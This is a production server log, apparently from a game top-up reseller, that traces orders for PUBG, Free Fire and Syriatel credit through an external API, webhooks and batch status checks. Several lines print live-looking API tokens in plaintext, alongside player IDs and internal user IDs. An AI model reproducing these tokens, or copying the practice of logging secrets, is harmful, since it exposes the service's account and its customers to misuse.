[2026-03-24 18:23:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=4b89c2f3-f2dc-4e99-be1a-244557884998&Player_ID=0981054316","has_body":false} 
[2026-03-24 18:23:37] production.INFO: Operation sent successfully {"operation_id":163996,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gqvJK3P-1774365816","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:23:37"}},"processed_data":{"order_number":"ORD-gqvJK3P-1774365816","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:23:52] production.INFO: Constructing job for order: 179094  
[2026-03-24 18:23:55] production.INFO: Handling job for order: 179094  
[2026-03-24 18:23:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:23:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:23:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a675f844-7f84-4e0f-bad7-1f841516426b&Player_ID=51727311102  
[2026-03-24 18:23:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a675f844-7f84-4e0f-bad7-1f841516426b&Player_ID=51727311102","has_body":false} 
[2026-03-24 18:23:56] production.INFO: Operation sent successfully {"operation_id":163997,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Yo0-1774365835","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:23:56"}},"processed_data":{"order_number":"ORD-Yo0-1774365835","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02"} 
[2026-03-24 18:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","total_operations":7,"sites_count":2} 
[2026-03-24 18:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-E7WVfiF3-1774365726","ORD-Xif8SL9-1774365757","ORD-Yo0-1774365835"]} 
[2026-03-24 18:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 18:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-E7WVfiF3-1774365726","operation_id":163992} 
[2026-03-24 18:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Xif8SL9-1774365757","operation_id":163993} 
[2026-03-24 18:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997} 
[2026-03-24 18:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 18:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997,"processed":0,"errors":0} 
[2026-03-24 18:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997,"orders_count":3,"order_ids":["ORD-kwmNB-1774365800","ORD-cjtcY-1774365801","ORD-gqvJK3P-1774365816"]} 
[2026-03-24 18:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997} 
[2026-03-24 18:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yo0-1774365835","operation_id":163997,"orders_count":3} 
[2026-03-24 18:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 18:24:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 18:24:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"count":3} 
[2026-03-24 18:24:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"count":3} 
[2026-03-24 18:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"user_id":366,"notification_type":"order_approved","reference_id":179092} 
[2026-03-24 18:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"user_id":1414,"notification_type":"order_approved","reference_id":179093} 
[2026-03-24 18:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"user_id":1136,"notification_type":"order_approved","reference_id":179091} 
[2026-03-24 18:24:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:24:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:24:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"processed":3,"errors":0} 
[2026-03-24 18:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994,"processed":3,"errors":0} 
[2026-03-24 18:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"LiXseBLXVDxaEfuOptn9nm7HuArIeMfp","execution_time":"2026-03-24 18:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kwmNB-1774365800","operation_id":163994} 
[2026-03-24 18:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 18:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 18:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1136  
[2026-03-24 18:24:05] production.INFO: Constructing job for order: 179095  
[2026-03-24 18:24:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Xif8SL9-1774365757","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:24:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-Xif8SL9-1774365757","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:24:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:24:05] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"order_approved","reference_id":179090} 
[2026-03-24 18:24:05] production.INFO: Order updated successfully. Order ID: 179090, Status: completed  
[2026-03-24 18:24:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Xif8SL9-1774365757","status":"completed","codes_count":0} 
[2026-03-24 18:24:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 18:24:08] production.INFO: Handling job for order: 179095  
[2026-03-24 18:24:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:24:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:24:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0811f8b9-362f-4278-b6a5-9449d791b68b&Player_ID=51727311102  
[2026-03-24 18:24:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0811f8b9-362f-4278-b6a5-9449d791b68b&Player_ID=51727311102","has_body":false} 
[2026-03-24 18:24:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Yo0-1774365835","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:24:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-Yo0-1774365835","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:24:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:24:08] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":179094} 
[2026-03-24 18:24:08] production.INFO: Order updated successfully. Order ID: 179094, Status: completed  
[2026-03-24 18:24:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Yo0-1774365835","status":"completed","codes_count":0} 
[2026-03-24 18:24:09] production.INFO: Operation sent successfully {"operation_id":163998,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YGPk-1774365848","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:24:09"}},"processed_data":{"order_number":"ORD-YGPk-1774365848","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:24:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 18:24:13] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"500.0","mainamount":"500","operation_number":"600430982484","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpjkf76s8ci2kl87tNQTT"}},"user_id":961} 
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:24:15] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:24:15] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18665,"user_id":961,"amount":500.0,"admins_notified":7} 
[2026-03-24 18:24:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-YGPk-1774365848","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:24:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-YGPk-1774365848","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:24:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:24:23] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":179095} 
[2026-03-24 18:24:23] production.INFO: Order updated successfully. Order ID: 179095, Status: completed  
[2026-03-24 18:24:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-YGPk-1774365848","status":"completed","codes_count":0} 
[2026-03-24 18:24:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 18:24:36] production.INFO: Constructing job for order: 179096  
[2026-03-24 18:24:39] production.INFO: Constructing job for order: 179097  
[2026-03-24 18:24:39] production.INFO: Handling job for order: 179096  
[2026-03-24 18:24:39] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:24:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:24:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=a6cfde00-aaf5-4478-9187-4ad62e50dbfd&Player_ID=0939816301  
[2026-03-24 18:24:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=a6cfde00-aaf5-4478-9187-4ad62e50dbfd&Player_ID=0939816301","has_body":false} 
[2026-03-24 18:24:40] production.INFO: Operation sent successfully {"operation_id":163999,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mmkLR-1774365879","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:24:40"}},"processed_data":{"order_number":"ORD-mmkLR-1774365879","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:24:40] production.INFO: Handling job for order: 179097  
[2026-03-24 18:24:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:24:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:24:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=86ef7bc0-a2ec-407a-a1c7-216991dea26f&Player_ID=52327710938  
[2026-03-24 18:24:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=86ef7bc0-a2ec-407a-a1c7-216991dea26f&Player_ID=52327710938","has_body":false} 
[2026-03-24 18:24:41] production.INFO: Operation sent successfully {"operation_id":164000,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-egnDsLi-1774365880","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:24:41"}},"processed_data":{"order_number":"ORD-egnDsLi-1774365880","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:25:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-egnDsLi-1774365880","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:25:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-egnDsLi-1774365880","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:25:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:25:02] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"order_approved","reference_id":179097} 
[2026-03-24 18:25:02] production.INFO: Order updated successfully. Order ID: 179097, Status: completed  
[2026-03-24 18:25:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-egnDsLi-1774365880","status":"completed","codes_count":0} 
[2026-03-24 18:25:05] production.INFO: Executing GetProducts task...  
[2026-03-24 18:25:05] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:25:05] production.INFO: Executing GetProducts task...  
[2026-03-24 18:25:07] production.INFO: async() رجع: true  
[2026-03-24 18:25:07] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:25:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:25:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:25:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:25:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-E7WVfiF3-1774365726","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:25:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-E7WVfiF3-1774365726","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:25:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:25:17] production.INFO: SendAcceptReject: Notification queued {"user_id":1427,"notification_type":"order_approved","reference_id":179089} 
[2026-03-24 18:25:17] production.INFO: Order updated successfully. Order ID: 179089, Status: completed  
[2026-03-24 18:25:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-E7WVfiF3-1774365726","status":"completed","codes_count":0} 
[2026-03-24 18:25:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 18:25:24] production.INFO: Constructing job for order: 179098  
[2026-03-24 18:25:26] production.INFO: Handling job for order: 179098  
[2026-03-24 18:25:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:25:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:25:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=e9bc6025-4cf9-4295-86fe-aae7c5fca1d2&Player_ID=8347717842  
[2026-03-24 18:25:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=e9bc6025-4cf9-4295-86fe-aae7c5fca1d2&Player_ID=8347717842","has_body":false} 
[2026-03-24 18:25:27] production.INFO: Operation sent successfully {"operation_id":164001,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BjO-1774365927","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 18:25:27"}},"processed_data":{"order_number":"ORD-BjO-1774365927","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 18:25:40] production.INFO: Constructing job for order: 179099  
[2026-03-24 18:25:42] production.INFO: Handling job for order: 179099  
[2026-03-24 18:25:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:25:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:25:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=5f5e190b-2e48-4bd9-b895-22dd36b7ec15&Player_ID=8442673847  
[2026-03-24 18:25:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=5f5e190b-2e48-4bd9-b895-22dd36b7ec15&Player_ID=8442673847","has_body":false} 
[2026-03-24 18:25:43] production.INFO: Operation sent successfully {"operation_id":164002,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ganLt-1774365943","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 18:25:43"}},"processed_data":{"order_number":"ORD-ganLt-1774365943","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 18:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01"} 
[2026-03-24 18:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","total_operations":4,"sites_count":2} 
[2026-03-24 18:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-BjO-1774365927","ORD-ganLt-1774365943"]} 
[2026-03-24 18:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 18:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BjO-1774365927","operation_id":164001} 
[2026-03-24 18:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ganLt-1774365943","operation_id":164002} 
[2026-03-24 18:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 18:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-mmkLR-1774365879"]} 
[2026-03-24 18:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 18:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:26:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:26:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"count":1} 
